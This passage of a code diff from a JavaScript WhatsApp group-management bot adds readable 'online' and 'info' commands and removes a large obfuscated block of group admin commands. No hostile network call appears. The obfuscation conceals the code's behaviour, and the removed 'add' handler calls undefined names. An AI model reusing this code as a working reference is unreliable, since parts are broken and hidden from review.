members detected (or they have privacy enabled).' + }, { quoted: msg }); + } + const onlineList = online + .map((jid, index) => `${index + 1}. 🟢 @${jid.split('@')[0]}`) + .join('\n'); + await king.sendMessage(fromJid, { + text: `🧾 *Online Group Members:*\n\n${onlineList}`, + mentions: online + }, { quoted: msg }); + } catch (err) { + await king.sendMessage(fromJid, { + text: `❌ Error fetching online users:\n\n${err.message}` + }, { quoted: msg }); + } + } + }, + { + name: 'info', + aliases: ['ginfo', 'ginf'], + category: 'group', + groupOnly: true, + async execute(sock, msg, args, fromJid) { + try { + const metadata = await sock.groupMetadata(fromJid); + const groupName = metadata.subject; + const groupId = metadata.id; + const participants = metadata.participants; + const totalMembers = participants.length; -function _0x1ff4(_0x544913,_0x2b3176){const _0x40a8c9=_0x40a8();return _0x1ff4=function(_0x1ff465,_0x55a31e){_0x1ff465=_0x1ff465-0x1b9;let _0x1414d5=_0x40a8c9[_0x1ff465];return _0x1414d5;},_0x1ff4(_0x544913,_0x2b3176);}const _0x5b4ca3=_0x1ff4;function _0x40a8(){const _0x12a73c=['Downloader','\x20Has\x20been\x20promoted\x20as\x20a\x20group\x20Admin.','https://raw.githubusercontent.com/djalega8000/Zokou-MD/main/media/remover.gif','\x20;\x20restart\x20to\x20apply\x20changes','\x20\x0a\x0a\x0aClick\x20Here\x20To\x20Join\x20:','open','Please\x20don\x27t\x20invent\x20an\x20option','conversation','info','The\x20group\x20will\x20be\x20un-muted\x20at\x20','startsWith','1990163CyJMYQ','delCron','The\x20anti-bot\x20action\x20has\x20been\x20updated\x20to\x20','This\x20user\x20is\x20not\x20part\x20of\x20the\x20group.','1394346DPmWdx','size','*━━━━『GROUP\x20INFO』━━━━*\x0a\x0a*🎐Name:*\x20','Please\x20mention\x20the\x20message\x20to\x20delete.','12345','then','gdesc','*\x20📝\x0a========================\x0a\x0a\x0a\x0a\x0a','*\x20*State:*\x20','You\x20need\x20administrative\x20rights\x20to\x20perform\x20this\x20command','antibot\x20on\x20to\x20activate\x20the\x20anti-bot\x20feature\x0aantibot\x20off\x20to\x20deactivate\x20the\x20antibot\x20feature\x0aantibot\x20action/remove\x20to\x20directly\x20remove\x20the\x20bot\x20without\x20notice\x0aantibot\x20action/warn\x20to\x20give\x20warnings\x0aantilink\x20action/delete\x20to\x20remove\x20the\x20bot\x20message\x20without\x20any\x20sanctions\x0a\x0aPlease\x20note\x20that\x20by\x20default,\x20the\x20anti-bot\x20feature\x20is\x20set\x20to\x20delete.','stanzaId','send','order\x20reserved\x20for\x20administrators\x20of\x20the\x20group','extendedTextMessage','name','The\x20antilink\x20has\x20been\x20successfully\x20deactivated','revoke','CROPPED','200','sendMessage','gname','Setting\x20up\x20autounmute\x20for\x20','group\x20name\x20refresh:\x20*','updateProfilePicture','antilink','group','../bdd/antilien','Sorry\x20I\x20cannot\x20perform\x20this\x20action\x20because\x20you\x20are\x20not\x20an\x20administrator\x20of\x20the\x20group.','admin','The\x20antiword\x20has\x20been\x20successfully\x20deactivated','\x20was\x20removed\x20from\x20his\x20position\x20as\x20a\x20group\x20administrator\x0a','\x0a*Last\x20Update\x20:*\x20','for\x20groups\x20only','749572lqzzTa','Enter\x20the\x20text\x20to\x20announce\x20or\x20mention\x20the\x20message\x20to\x20announce','reply_message','error','For\x20groups\x20only','unlinkSync','includes','Please\x20enter\x20the\x20group\x20name','invite','join','5nfkaYc','\x0a\x20\x20\x20\x20\x20\x20*\x20*Instructions:*\x20To\x20activate\x20autounmute,\x20add\x20the\x20minute\x20and\x20hour\x20after\x20the\x20command\x20separated\x20by\x20\x27:\x27\x0a\x20\x20\x20\x20\x20\x20Example\x20autounmute\x207:30\x0a\x20\x20\x20\x20\x20\x20*\x20To\x20delete\x20autounmute,\x20use\x20the\x20command\x20*autounmute\x20del*','fs-extra','close','../bdd/antibot','catch','pm2\x20restart\x20all','You\x20are\x20not\x20an\x20administrator\x20of\x20the\x20group','toFile','stickerMessage','autounmute','The\x20automatic\x20mute\x20has\x20been\x20removed;\x20restart\x20to\x20apply\x20changes','sayonnara','toBuffer','Command\x20reserved\x20for\x20administrators.','groupUpdateDescription','hidetag','../bdd/cron','participants','imageMessage','groupParticipantsUpdate','mute_at','order\x20reserved\x20for\x20the\x20group\x20only','This\x20member\x20is\x20already\x20an\x20administrator\x20of\x20the\x20group.','FLASH-MD-tag','403','the\x20antiword\x20is\x20already\x20activated\x20for\x20this\x20group','warn','antibot','the\x20antilink\x20is\x20activated\x20successfully','195602erEVRo','groupRevokeInvite','oups\x20','*Enter\x20the\x20name\x20of\x20the\x20application\x20to\x20search\x20for*','announcement','icon','Group','Sorry\x20I\x20cannot\x20perform\x20this\x20action\x20because\x20I\x20am\x20not\x20an\x20administrator\x20of\x20the\x20group.','left','The\x20only\x20actions\x20available\x20are\x20warn,\x20remove,\x20and\x20delete','the\x20antiword\x20is\x20activated\x20successfully','toLowerCase','group\x20open','689949kihZAU','No\x20time\x20set\x20for\x20autounmute','\x0a\x0a*🔩Group\x27s\x20ID:*\x20','transparent','*Error\x20during\x20apk\x20command\x20processing*','Please\x20mention\x20an\x20image','Please\x20enter\x20the\x20country\x20code\x20whose\x20members\x20will\x20be\x20removed','*🌠FLASH-MD\x20APPLICATION🌠*\x0a\x0a*Name\x20:*\x20','No\x20cronometrage\x20has\x20been\x20activated','groupMetadata','The\x20anti-link\x20action\x20has\x20been\x20updated\x20to\x20','You\x20are\x20not\x20entitled\x20to\x20this\x20order','order\x20reserved\x20for\x20the\x20administratorr','*for\x20groups\x20only*','6leFOqH','axios','FLASH-MD','pipe','not_announcement','add','8SAsFfl','remove','downloadAndSaveMediaMessage','del','2852240BLEaFW','group\x20link\x20revoked.','subject','action','oui','get','checkFromHentaiList','profilePictureUrl','Sorry,\x20you\x20are\x20not\x20an\x20administrator\x20of\x20the\x20group.','Aucun\x20Message','package','getCronById','apk','Download','antibot\x20is\x20not\x20activated\x20for\x20this\x20group','addCron','The\x20autounmute\x20has\x20been\x20removed;\x20restart\x20to\x20apply\x20the\x20changes','NSFW\x20content\x20is\x20already\x20active\x20for\x20this\x20group','antiword\x20is\x20not\x20activated\x20for\x20this\x20group','The\x20antibot\x20has\x20been\x20successfully\x20deactivated','../bdd/hentai','The\x20group\x20will\x20be\x20muted\x20at\x20','push','finish','message','NSFW\x20content\x20is\x20already\x20disabled\x20for\x20this\x20group','split','========================\x0a\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20🌟\x20*FLASH-MD*\x20🌟\x0a========================\x0a\x0a👥\x20Group\x20:\x20','audioMessage','groupInviteCode','order\x20reserved\x20for\x20group\x20only',';\x20restart\x20to\x20apply\x20the\x20changes','Sorry\x20I\x20cannot\x20perform\x20this\x20action\x20because\x20you\x20are\x20not\x20an\x20administrator\x20of\x20the\x20group\x20.','🙏🏿','antiword\x20on\x20to\x20activate\x20the\x20anti-word\x20feature\x0aantiword\x20off\x20to\x20deactivate\x20the\x20anti-word\x20feature\x0aantiword\x20action/remove\x20to\x20directly\x20remove\x20the\x20word\x20sender\x20without\x20notice\x0aantiword\x20action/warn\x20to\x20give\x20warnings\x0aantiword\x20action/delete\x20to\x20remove\x20the\x20word\x20without\x20any\x20sanctions\x0a\x0aPlease\x20note\x20that\x20by\x20default,\x20the\x20anti-word\x20feature\x20is\x20set\x20to\x20delete.','\x0a*Id\x20:*\x20','NSFW\x20content\x20is\x20now\x20disabled\x20for\x20this\x20group','Please\x20enter\x20a\x20valid\x20time\x20with\x20hour\x20and\x20minute\x20separated\x20by\x20:','please\x20tag\x20the\x20member\x20to\x20be\x20removed','\x0a\x0a*🔍Desc:*\x20\x0a\x0a','This\x20command\x20is\x20only\x20allowed\x20in\x20groups.','\x20,\x20here\x20is\x20the\x20group\x20link\x20of\x20','st.webp','Sorry,\x20I\x20cannot\x20perform\x20this\x20action\x20because\x20I\x20am\x20not\x20an\x20administrator\x20of\x20the\x20group.','participant','Sorry,\x20you\x20cannot\x20enable\x20NSFW\x20content\x20without\x20being\x20an\x20administrator\x20of\x20the\x20group','Group\x20close\x20successfully','antiword','Instructions:\x0a\x0aType\x20group\x20open\x20or\x20close','floor','Example\x20:\x20add\x20254757835036','../framework/france','command\x20reserved\x20for\x20the\x20bot\x20owner','unmute_at','Sorry,\x20you\x20are\x20not\x20an\x20administrator\x20of\x20the\x20group','videoMessage','caption','The\x20anti-word\x20action\x20has\x20been\x20updated\x20to\x20','non','dllink','*\x20👋\x20\x0a📜\x20Message\x20:\x20*','antilink\x20on\x20to\x20activate\x20the\x20anti-link\x20feature\x0aantilink\x20off\x20to\x20deactivate\x20the\x20anti-link\x20feature\x0aantilink\x20action/remove\x20to\x20directly\x20remove\x20the\x20link\x20without\x20notice\x0aantilink\x20action/warn\x20to\x20give\x20warnings\x0aantilink\x20action/delete\x20to\x20remove\x20the\x20link\x20without\x20any\x20sanctions\x0a\x0aPlease\x20note\x20that\x20by\x20default,\x20the\x20anti-link\x20feature\x20is\x20set\x20to\x20delete.','_Failed,\x20Invite\x20sent_','groupSettingUpdate','\x20🚀\x20\x0a👤\x20Author\x20:\x20*','5DIgNOH','NSFW\x20content\x20is\x20now\x20active\x20for\x20this\x20group','Mods','jid','stream','default','tagall','log','\x0a*Size\x20:*\x20','groupLeave','automute','data','_I\x27m\x20not\x20admin._','4550161tHZyWf','delete','off','demote','length','contextInfo','Erreur\x20lors\x20du\x20traitement\x20de\x20la\x20commande\x20apk:','https://chat.whatsapp.com/','\x20\x20\x20\x20\x20\x20@','*can\x27t\x20find\x20application,\x20please\x20enter\x20another\x20name*','groupUpdateSubject','promote','👨🏿‍💼','../set','aptoide-scraper','\x0a\x20\x20\x20\x20\x20\x20\x20\x20*\x20*Instructions:*\x20To\x20activate\x20automatic\x20mute,\x20add\x20the\x20minute\x20and\x20hour\x20after\x20the\x20command\x20separated\x20by\x20\x27:\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20Example\x20automute\x209:30\x0a\x20\x20\x20\x20\x20\x20\x20\x20*\x20To\x20delete\x20the\x20automatic\x20mute,\x20use\x20the\x20command\x20*automute\x20del*'];_0x40a8=function(){return _0x12a73c;};return _0x40a8();}(function(_0x294331,_0x5e2c07){const _0x138f6c=_0x1ff4,_0x4ee00f=_0x294331();while(!![]){try{const _0x1f0b84=parseInt(_0x138f6c(0x1c1))/0x1*(parseInt(_0x138f6c(0x1df))/0x2)+-parseInt(_0x138f6c(0x1fa))/0x3*(parseInt(_0x138f6c(0x293))/0x4)+parseInt(_0x138f6c(0x245))/0x5*(parseInt(_0x138f6c(0x271))/0x6)+-parseInt(_0x138f6c(0x26d))/0x7+parseInt(_0x138f6c(0x200))/0x8*(parseInt(_0x138f6c(0x1ec))/0x9)+-parseInt(_0x138f6c(0x204))/0xa+parseInt(_0x138f6c(0x252))/0xb;if(_0x1f0b84===_0x5e2c07)break;else _0x4ee00f['push'](_0x4ee00f['shift']());}catch(_0x24a768){_0x4ee00f['push'](_0x4ee00f['shift']());}}}(_0x40a8,0x4147d));const {france}=require(_0x5b4ca3(0x237)),{Sticker,StickerTypes}=require('wa-sticker-formatter'),{ajouterOuMettreAJourJid,mettreAJourAction,verifierEtatJid}=require(_0x5b4ca3(0x28c)),{atbajouterOuMettreAJourJid,atbverifierEtatJid}=require(_0x5b4ca3(0x1c5)),{search,download}=require(_0x5b4ca3(0x260)),fs=require(_0x5b4ca3(0x1c3)),conf=require(_0x5b4ca3(0x25f)),{default:axios}=require(_0x5b4ca3(0x1fb)),{getBinaryNodeChild,getBinaryNodeChildren}=require('@whiskeysockets/baileys')[_0x5b4ca3(0x24a)];france({'nomCom':_0x5b4ca3(0x24b),'categorie':_0x5b4ca3(0x1e5),'reaction':'📣'},async(_0x5c5f7a,_0x417117,_0x5bd14f)=>{const _0x5165a9=_0x5b4ca3,{ms:_0xabf9a4,repondre:_0x4ed97c,arg:_0xcfc205,verifGroupe:_0x38a69c,nomGroupe:_0x4cf389,infosGroupe:_0x2aa930,nomAuteurMessage:_0x5976d2,verifAdmin:_0xc371fd,superUser:_0x203b2b}=_0x5bd14f;if(!_0x38a69c){_0x4ed97c('✋🏿\x20✋🏿this\x20command\x20is\x20reserved\x20for\x20groups\x20❌');return;}!_0xcfc205||_0xcfc205==='\x20'?mess=_0x5165a9(0x20d):mess=_0xcfc205[_0x5165a9(0x1c0)]('\x20');;let _0x2a1bb6=_0x38a69c?await _0x2aa930[_0x5165a9(0x1d3)]:'';var _0x1eef53='';_0x1eef53+=_0x5165a9(0x21f)+_0x4cf389+_0x5165a9(0x244)+_0x5976d2+_0x5165a9(0x240)+mess+_0x5165a9(0x278);let _0x594fce=['🦴','👀','😮‍💨','❌','✔️','😇','⚙️','🔧','🎊','😡',_0x5165a9(0x225),'⛔️','$','😟','🥵','🐅'],_0x5d0d88=Math[_0x5165a9(0x235)](Math['random']()*(_0x594fce['length']-0x1));for(const _0x556054 of _0x2a1bb6){_0x1eef53+=_0x594fce[_0x5d0d88]+_0x5165a9(0x25a)+_0x556054['id'][_0x5165a9(0x21e)]('@')[0x0]+'\x0a';}_0xc371fd||_0x203b2b?_0x417117[_0x5165a9(0x285)](_0x5c5f7a,{'text':_0x1eef53,'mentions':_0x2a1bb6['map'](_0x8d95be=>_0x8d95be['id'])},{'quoted':_0xabf9a4}):_0x4ed97c('command\x20reserved\x20for\x20admins');}),france({'nomCom':_0x5b4ca3(0x1bf),'categorie':_0x5b4ca3(0x1e5),'reaction':'🙋'},async(_0x47de8f,_0x1f2949,_0x30ba86)=>{const _0x4e3762=_0x5b4ca3,{repondre:_0x33a9d6,nomGroupe:_0x4668df,nomAuteurMessage:_0x2e7c4b,verifGroupe:_0x2ff2b2}=_0x30ba86;if(!_0x2ff2b2){_0x33a9d6('wait\x20bro\x20,\x20you\x20want\x20the\x20link\x20to\x20my\x20dm?');return;};var _0x45171d=await _0x1f2949[_0x4e3762(0x221)](_0x47de8f),_0x1cec83=_0x4e3762(0x259)+_0x45171d;let _0x4c7509='Hello\x20'+_0x2e7c4b+_0x4e3762(0x22d)+_0x4668df+_0x4e3762(0x266)+_0x1cec83;_0x33a9d6(_0x4c7509);}),france({'nomCom':'promote','categorie':'Group','reaction':_0x5b4ca3(0x25e)},async(_0x54b4d4,_0x4a06f7,_0x5d1ff9)=>{const _0x53ac96=_0x5b4ca3;let {repondre:_0x111505,msgRepondu:_0x2c3856,infosGroupe:_0x2ac22c,auteurMsgRepondu:_0x2ef3b1,verifGroupe:_0x36b6f2,auteurMessage:_0x3e2998,superUser:_0x35bd69,idBot:_0x2a33e7}=_0x5d1ff9,_0x1e6cc6=_0x36b6f2?await _0x2ac22c['participants']:'';if(!_0x36b6f2)return _0x111505(_0x53ac96(0x1bb));const _0x4e1cfc=_0x172b46=>{for(const _0x2d5d8f of _0x1e6cc6){if(_0x2d5d8f['id']!==_0x172b46)continue;else return!![];}},_0x508518=_0x457be9=>{const _0x40ffad=_0x53ac96;let _0x5ffc87=[];for(m of _0x457be9){if(m[_0x40ffad(0x28e)]==null)continue;_0x5ffc87[_0x40ffad(0x21a)](m['id']);}return _0x5ffc87;},_0x1c5b55=_0x36b6f2?_0x508518(_0x1e6cc6):'';let _0x2c9c40=_0x36b6f2?_0x1c5b55[_0x53ac96(0x1bd)](_0x2ef3b1):![],_0x2bdb48=_0x4e1cfc(_0x2ef3b1),_0x3268f6=_0x36b6f2?_0x1c5b55[_0x53ac96(0x1bd)](_0x3e2998):![];zkad=_0x36b6f2?_0x1c5b55[_0x53ac96(0x1bd)](_0x2a33e7):![];try{if(_0x3268f6||_0x35bd69){if(_0x2c3856){if(zkad){if(_0x2bdb48){if(_0x2c9c40==![]){var _0x27665d='🎊🍾\x20\x20@'+_0x2ef3b1['split']('@')[0x0]+_0x53ac96(0x263);await _0x4a06f7[_0x53ac96(0x1d5)](_0x54b4d4,[_0x2ef3b1],_0x53ac96(0x25d)),_0x4a06f7[_0x53ac96(0x285)](_0x54b4d4,{'text':_0x27665d,'mentions':[_0x2ef3b1]});}else return _0x111505(_0x53ac96(0x1d8));}else return _0x111505(_0x53ac96(0x270));}else return _0x111505(_0x53ac96(0x22f));}else _0x111505('please\x20tag\x20the\x20member\x20to\x20be\x20nominated');}else return _0x111505(_0x53ac96(0x28d));}catch(_0x3de11f){_0x111505(_0x53ac96(0x1e1)+_0x3de11f);}}),france({'nomCom':_0x5b4ca3(0x255),'categorie':_0x5b4ca3(0x1e5),'reaction':_0x5b4ca3(0x25e)},async(_0x41658f,_0x2972b4,_0x3808fe)=>{const _0x48fbe8=_0x5b4ca3;let {repondre:_0x3d4753,msgRepondu:_0x40e27c,infosGroupe:_0x4081ad,auteurMsgRepondu:_0x23d272,verifGroupe:_0x3967cb,auteurMessage:_0x137d1e,superUser:_0x2de852,idBot:_0x2ed1ee}=_0x3808fe,_0x12af28=_0x3967cb?await _0x4081ad[_0x48fbe8(0x1d3)]:'';if(!_0x3967cb)return _0x3d4753(_0x48fbe8(0x1bb));const _0x4a1b0c=_0x158fec=>{for(const _0x678117 of _0x12af28){if(_0x678117['id']!==_0x158fec)continue;else return!![];}},_0x184801=_0x12bc95=>{const _0x107058=_0x48fbe8;let _0x3bdc39=[];for(m of _0x12bc95){if(m[_0x107058(0x28e)]==null)continue;_0x3bdc39[_0x107058(0x21a)](m['id']);}return _0x3bdc39;},_0x33aac4=_0x3967cb?_0x184801(_0x12af28):'';let _0x3a5662=_0x3967cb?_0x33aac4[_0x48fbe8(0x1bd)](_0x23d272):![],_0x307c43=_0x4a1b0c(_0x23d272),_0x9a4e30=_0x3967cb?_0x33aac4[_0x48fbe8(0x1bd)](_0x137d1e):![];zkad=_0x3967cb?_0x33aac4[_0x48fbe8(0x1bd)](_0x2ed1ee):![];try{if(_0x9a4e30||_0x2de852){if(_0x40e27c){if(zkad){if(_0x307c43){if(_0x3a5662==![])_0x3d4753('This\x20member\x20is\x20not\x20a\x20group\x20administrator.');else{var _0x358a99='@'+_0x23d272['split']('@')[0x0]+_0x48fbe8(0x290);await _0x2972b4[_0x48fbe8(0x1d5)](_0x41658f,[_0x23d272],_0x48fbe8(0x255)),_0x2972b4['sendMessage'](_0x41658f,{'text':_0x358a99,'mentions':[_0x23d272]});}}else return _0x3d4753(_0x48fbe8(0x270));}else return _0x3d4753(_0x48fbe8(0x1e6));}else _0x3d4753(_0x48fbe8(0x22a));}else return _0x3d4753(_0x48fbe8(0x28d));}catch(_0x434f4a){_0x3d4753(_0x48fbe8(0x1e1)+_0x434f4a);}}),france({'nomCom':_0x5b4ca3(0x201),'categorie':_0x5b4ca3(0x1e5),'reaction':_0x5b4ca3(0x25e)},async(_0x59d348,_0x48ae3c,_0x258d0e)=>{const _0x55c421=_0x5b4ca3;let {repondre:_0x32311c,msgRepondu:_0x29ec63,infosGroupe:_0x209863,auteurMsgRepondu:_0x44034c,verifGroupe:_0x2030ff,nomAuteurMessage:_0x3034ca,auteurMessage:_0x1a441c,superUser:_0x1ac10a,idBot:_0x3e8f79}=_0x258d0e,_0x4a1202=_0x2030ff?await _0x209863[_0x55c421(0x1d3)]:'';if(!_0x2030ff)return _0x32311c('for\x20groups\x20only');const _0x54be9f=_0x236bab=>{for(const _0x584c28 of _0x4a1202){if(_0x584c28['id']!==_0x236bab)continue;else return!![];}},_0x263c86=_0x3c33e5=>{const _0x104c84=_0x55c421;let _0x324439=[];for(m of _0x3c33e5){if(m['admin']==null)continue;_0x324439[_0x104c84(0x21a)](m['id']);}return _0x324439;},_0x38967b=_0x2030ff?_0x263c86(_0x4a1202):'';let _0x4ab6f5=_0x2030ff?_0x38967b[_0x55c421(0x1bd)](_0x44034c):![],_0x2043e2=_0x54be9f(_0x44034c),_0x14c90d=_0x2030ff?_0x38967b['includes'](_0x1a441c):![];zkad=_0x2030ff?_0x38967b[_0x55c421(0x1bd)](_0x3e8f79):![];try{if(_0x14c90d||_0x1ac10a){if(_0x29ec63){if(zkad){if(_0x2043e2){if(_0x4ab6f5==![]){const _0x52bc38=_0x55c421(0x264);var _0x54c67f=new Sticker(_0x52bc38,{'pack':_0x55c421(0x1fc),'author':_0x3034ca,'type':StickerTypes['FULL'],'categories':['🤩','🎉'],'id':_0x55c421(0x275),'quality':0x32,'background':'#000000'});await _0x54c67f[_0x55c421(0x1c9)](_0x55c421(0x22e));var _0x407272='@'+_0x44034c['split']('@')[0x0]+'\x20was\x20removed\x20from\x20the\x20group.\x0a';await _0x48ae3c['groupParticipantsUpdate'](_0x59d348,[_0x44034c],_0x55c421(0x201)),_0x48ae3c[_0x55c421(0x285)](_0x59d348,{'text':_0x407272,'mentions':[_0x44034c]});}else _0x32311c('This\x20member\x20cannot\x20be\x20removed\x20because\x20he\x20is\x20an\x20administrator\x20of\x20the\x20group.');}else return _0x32311c(_0x55c421(0x270));}else return _0x32311c(_0x55c421(0x22f));}else _0x32311c(_0x55c421(0x22a));}else return _0x32311c(_0x55c421(0x224));}catch(_0x1fe091){_0x32311c('oups\x20'+_0x1fe091);}}),france({'nomCom':_0x5b4ca3(0x1ff),'categorie':_0x5b4ca3(0x1e5),'reaction':'👨🏿‍💼'},async(_0x18174f,_0x2a66f8,_0x2ef667)=>{const _0x50d8f8=_0x5b4ca3;let {repondre:_0x5866a3,msgRepondu:_0x266a38,infosGroupe:_0x324113,auteurMsgRepondu:_0x15c83a,verifGroupe:_0x53d5cb,nomAuteurMessage:_0x4b30b0,auteurMessage:_0x5872c8,superUser:_0x15f373,idBot:_0x5f069d}=_0x2ef667,_0x314ad4=_0x53d5cb?await _0x324113[_0x50d8f8(0x1d3)]:'';if(!_0x53d5cb)return _0x5866a3(_0x50d8f8(0x292));const _0xba7ed7=await message[_0x50d8f8(0x1f5)](message['jid']),_0x271978=await isAdmin(_0xba7ed7,message['client']['user'][_0x50d8f8(0x248)]);if(!_0x271978)return await message[_0x50d8f8(0x27d)](_0x50d8f8(0x251));match=match||message[_0x50d8f8(0x1b9)]['jid'];if(!match)return await message['send'](_0x50d8f8(0x236));match=jidToNum(match);const _0x5c8d6e=await message['Add'](match);if(_0x5c8d6e==_0x50d8f8(0x1da))return await message[_0x50d8f8(0x27d)](_0x50d8f8(0x242));else{if(_0x5c8d6e&&_0x5c8d6e!=_0x50d8f8(0x284))return await message[_0x50d8f8(0x27d)](_0x5c8d6e,{'quoted':message['data']});}}),france({'nomCom':'del','categorie':_0x5b4ca3(0x1e5),'reaction':'🧹'},async(_0x5031f5,_0x391b49,_0xbb7ade)=>{const _0x12ccdc=_0x5b4ca3,{ms:_0x310ebb,repondre:_0x3a52a7,verifGroupe:_0x3da31b,auteurMsgRepondu:_0x4e54b1,idBot:_0x1b3b90,msgRepondu:_0xcd2157,verifAdmin:_0x158249,superUser:_0x1335a1}=_0xbb7ade;if(!_0xcd2157){_0x3a52a7(_0x12ccdc(0x274));return;}if(_0x1335a1&&_0x4e54b1==_0x1b3b90){if(_0x4e54b1==_0x1b3b90){const _0x1062b6={'remoteJid':_0x5031f5,'fromMe':!![],'id':_0x310ebb[_0x12ccdc(0x21c)]['extendedTextMessage'][_0x12ccdc(0x257)]['stanzaId']};await _0x391b49['sendMessage'](_0x5031f5,{'delete':_0x1062b6});return;}}if(_0x3da31b){if(_0x158249||_0x1335a1)try{const _0x544c54={'remoteJid':_0x5031f5,'id':_0x310ebb[_0x12ccdc(0x21c)][_0x12ccdc(0x27f)][_0x12ccdc(0x257)][_0x12ccdc(0x27c)],'fromMe':![],'participant':_0x310ebb[_0x12ccdc(0x21c)][_0x12ccdc(0x27f)][_0x12ccdc(0x257)][_0x12ccdc(0x230)]};await _0x391b49[_0x12ccdc(0x285)](_0x5031f5,{'delete':_0x544c54});return;}catch(_0x4ff22b){_0x3a52a7('I\x20need\x20admin\x20rights.');}else _0x3a52a7(_0x12ccdc(0x20c));}}),france({'nomCom':_0x5b4ca3(0x26a),'categorie':_0x5b4ca3(0x1e5)},async(_0x565bc8,_0x31d825,_0xc7e090)=>{const _0x183203=_0x5b4ca3,{ms:_0x1162ac,repondre:_0x3ee967,verifGroupe:_0x26aed2}=_0xc7e090;if(!_0x26aed2){_0x3ee967(_0x183203(0x1d7));return;};try{ppgroup=await _0x31d825[_0x183203(0x20b)](_0x565bc8,'image');}catch{ppgroup=conf['IMAGE_MENU'];}const _0x4f7807=await _0x31d825['groupMetadata'](_0x565bc8);let _0x8c3e50={'image':{'url':ppgroup},'caption':_0x183203(0x273)+_0x4f7807[_0x183203(0x206)]+_0x183203(0x1ee)+_0x565bc8+_0x183203(0x22b)+_0x4f7807['desc']};_0x31d825[_0x183203(0x285)](_0x565bc8,_0x8c3e50,{'quoted':_0x1162ac});}),france({'nomCom':_0x5b4ca3(0x28a),'categorie':'Group','reaction':'🔗'},async(_0x523069,_0x510b74,_0x3086a6)=>{const _0x4acf3a=_0x5b4ca3;var {repondre:_0x234a51,arg:_0x3c9692,verifGroupe:_0x4a11d1,superUser:_0x18097c,verifAdmin:_0x15cc2f}=_0x3086a6;if(!_0x4a11d1)return _0x234a51(_0x4acf3a(0x1f9));if(_0x18097c||_0x15cc2f){const _0x461e0c=await verifierEtatJid(_0x523069);try{if(!_0x3c9692||!_0x3c9692[0x0]||_0x3c9692==='\x20'){_0x234a51(_0x4acf3a(0x241));return;};if(_0x3c9692[0x0]==='on')_0x461e0c?_0x234a51('the\x20antilink\x20is\x20already\x20activated\x20for\x20this\x20group'):(await ajouterOuMettreAJourJid(_0x523069,_0x4acf3a(0x208)),_0x234a51(_0x4acf3a(0x1de)));else{if(_0x3c9692[0x0]===_0x4acf3a(0x254))_0x461e0c?(await ajouterOuMettreAJourJid(_0x523069,_0x4acf3a(0x23e)),_0x234a51(_0x4acf3a(0x281))):_0x234a51('antilink\x20is\x20not\x20activated\x20for\x20this\x20group');else{if(_0x3c9692[_0x4acf3a(0x1c0)]('')[_0x4acf3a(0x21e)]('/')[0x0]===_0x4acf3a(0x207)){let _0x2527c2=_0x3c9692[_0x4acf3a(0x1c0)]('')[_0x4acf3a(0x21e)]('/')[0x1][_0x4acf3a(0x1ea)]();_0x2527c2==_0x4acf3a(0x201)||_0x2527c2==_0x4acf3a(0x1dc)||_0x2527c2==_0x4acf3a(0x253)?(await mettreAJourAction(_0x523069,_0x2527c2),_0x234a51(_0x4acf3a(0x1f6)+_0x3c9692[_0x4acf3a(0x1c0)]('')[_0x4acf3a(0x21e)]('/')[0x1])):_0x234a51(_0x4acf3a(0x1e8));}else _0x234a51(_0x4acf3a(0x241));}}}catch(_0xb5a470){_0x234a51(_0xb5a470);}}else _0x234a51(_0x4acf3a(0x1f7));}),france({'nomCom':_0x5b4ca3(0x1dd),'categorie':_0x5b4ca3(0x1e5),'reaction':'🔗'},async(_0x5e39c9,_0x1109a5,_0x209919)=>{const _0x27fb20=_0x5b4ca3;var {repondre:_0x3afdac,arg:_0x5ce344,verifGroupe:_0x1c27ee,superUser:_0x184525,verifAdmin:_0x1da4cf}=_0x209919;if(!_0x1c27ee)return _0x3afdac(_0x27fb20(0x1f9));if(_0x184525||_0x1da4cf){const _0x3680c2=await atbverifierEtatJid(_0x5e39c9);try{if(!_0x5ce344||!_0x5ce344[0x0]||_0x5ce344==='\x20'){_0x3afdac(_0x27fb20(0x27b));return;};if(_0x5ce344[0x0]==='on')_0x3680c2?_0x3afdac('the\x20antibot\x20is\x20already\x20activated\x20for\x20this\x20group'):(await atbajouterOuMettreAJourJid(_0x5e39c9,'oui'),_0x3afdac('the\x20antibot\x20is\x20successfully\x20activated'));else{if(_0x5ce344[0x0]===_0x27fb20(0x254))_0x3680c2?(await atbajouterOuMettreAJourJid(_0x5e39c9,_0x27fb20(0x23e)),_0x3afdac(_0x27fb20(0x217))):_0x3afdac(_0x27fb20(0x212));else{if(_0x5ce344[_0x27fb20(0x1c0)]('')[_0x27fb20(0x21e)]('/')[0x0]===_0x27fb20(0x207)){let _0x19a0ac=_0x5ce344['join']('')[_0x27fb20(0x21e)]('/')[0x1]['toLowerCase']();_0x19a0ac==_0x27fb20(0x201)||_0x19a0ac==_0x27fb20(0x1dc)||_0x19a0ac=='delete'?(await mettreAJourAction(_0x5e39c9,_0x19a0ac),_0x3afdac(_0x27fb20(0x26f)+_0x5ce344[_0x27fb20(0x1c0)]('')[_0x27fb20(0x21e)]('/')[0x1])):_0x3afdac(_0x27fb20(0x1e8));}else _0x3afdac(_0x27fb20(0x27b));}}}catch(_0x285474){_0x3afdac(_0x285474);}}else _0x3afdac(_0x27fb20(0x1f7));}),france({'nomCom':_0x5b4ca3(0x28b),'categorie':'Group'},async(_0x982a6f,_0x1a4163,_0x385271)=>{const _0xae122e=_0x5b4ca3,{repondre:_0x4094ba,verifGroupe:_0x954441,verifAdmin:_0x3af2bd,superUser:_0x472bb3,arg:_0x14d53a}=_0x385271;if(!_0x954441){_0x4094ba('order\x20reserved\x20for\x20group\x20only');return;};if(_0x472bb3||_0x3af2bd){if(!_0x14d53a[0x0]){_0x4094ba(_0xae122e(0x234));return;}const _0x1a7020=_0x14d53a[_0xae122e(0x1c0)]('\x20');switch(_0x1a7020){case _0xae122e(0x267):await _0x1a4163[_0xae122e(0x243)](_0x982a6f,_0xae122e(0x1fe)),_0x4094ba(_0xae122e(0x1eb));break;case _0xae122e(0x1c4):await _0x1a4163[_0xae122e(0x243)](_0x982a6f,_0xae122e(0x1e3)),_0x4094ba(_0xae122e(0x232));break;default:_0x4094ba(_0xae122e(0x268));}}else{_0x4094ba(_0xae122e(0x1f8));return;}}),france({'nomCom':_0x5b4ca3(0x1e7),'categorie':_0x5b4ca3(0x247)},async(_0x22ae92,_0x6fbd33,_0x108550)=>{const 